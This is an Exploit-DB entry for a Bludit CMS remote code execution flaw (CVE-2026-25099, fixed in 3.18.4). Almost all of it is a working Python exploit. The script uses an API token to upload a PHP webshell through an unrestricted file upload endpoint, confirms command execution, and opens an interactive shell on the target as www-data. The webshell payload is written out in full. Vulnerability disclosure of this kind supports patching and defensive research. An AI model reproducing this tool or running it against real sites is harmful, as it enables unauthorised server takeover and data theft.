Exploit-DB #52553
Description: Bludit CMS 3.18.4 -  RCE
Type: webapps
Platform: multiple
Date: 2026-05-07
Author: yahia

Exploit:
# Exploit Title: Bludit CMS 3.18.4 -  RCE
# Date: 2026-03-28
# Exploit Author: Yahia Hamza (https://yh.do)
# Vendor Homepage: https://www.bludit.com/
# Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip
# Version: Bludit < 3.18.4
# Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3
# CVE: CVE-2026-25099
#
# Description:
# Bludit CMS API plugin allows an authenticated user with a valid API token
# to upload files of any type and extension via POST /api/files/<page-key>.
# The uploadFile() function performs no file extension or content validation,
# allowing upload of PHP webshells that execute as www-data.
#
# The API token is generated when the API plugin is activated and is visible
# to users with admin panel access. Tokens may also be exposed through
# misconfiguration, log files, or other application vulnerabilities.
#
# Fixed in Bludit 3.18.4.
#
# Usage:
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"

import argparse
import requests
import sys
import random
import string


def get_page_key(base_url, token):
    """Retrieve a valid page key from the Bludit API."""
    try:
        r = requests.get(
            f"{base_url}/api/pages",
            params={"token": token},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("data") and len(data["data"]) > 0:
                return data["data"][0]["key"]
    except requests.RequestException as e:
        print(f"[-] Connection error: {e}")
    return None


def upload_shell(base_url, token, page_key):
    """Upload a PHP webshell via the unrestricted file upload endpoint."""
    shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
    shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'

    try:
        r = requests.post(
            f"{base_url}/api/files/{page_key}",
            data={"token": token},
            files={"file": (shell_name, shell_content, "application/x-php")},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("status") == "0":
                shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
                return shell_url, shell_name
    except requests.RequestException as e:
        print(f"[-] Upload error: {e}")
    return None, None


def execute_command(shell_url, cmd):
    """Execute a command via the uploaded webshell."""
    try:
        r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
        if r.status_code == 200 and "<pre>" in r.text:
            return r.text.split("<pre>")[1].split("</pre>")[0].strip()
    except requests.RequestException:
        pass
    return None


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
    parser.add_argument("-t", "--token", required=True, help="Bludit API token")
    parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")

    print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
    print(f"[*] Target: {base_url}")

    # Step 1: Get page key
    print("[*] Retrieving page key...")
    page_key = get_page_key(base_url, args.token)
    if not page_key:
        sys.exit("[-] Failed to retrieve page key. Check URL and token.")
    print(f"[+] Page key: {page_key}")

    # Step 2: Upload webshell
    print("[*] Uploading webshell...")
    shell_url, shell_name = upload_shell(base_url, args.token, page_key)
    if not shell_url:
        sys.exit("[-] Upload failed.")
    print(f"[+] Shell uploaded: {shell_url}")

    # Step 3: Verify RCE
    print("[*] Verifying RCE...")
    test = execute_command(shell_url, "id")
    if not test:
        sys.exit("[-] RCE verification failed. Shell may not be accessible.")
    print(f"[+] RCE confirmed: {test}")

    # Step 4: Execute command or interactive shell
    if args.command:
        output = execute_command(shell_url, args.command)
        if output:
            print(output)
    else:
        print("\n[+] Interactive shell (type 'exit' to quit)\n")
        while True:
            try:
                cmd = input("shell> ")
                if cmd.strip().lower() in ("exit", "quit"):
                    break
                if not cmd.strip():
                    continue
                output = execute_command(shell_url, cmd)
                if output:
                    print(output)
                else:
                    print("(no output)")
            except (KeyboardInterrupt, EOFError):
                break

    print(f"\n[*] Shell: {shell_url}")


if __name__ == "__main__":
    main()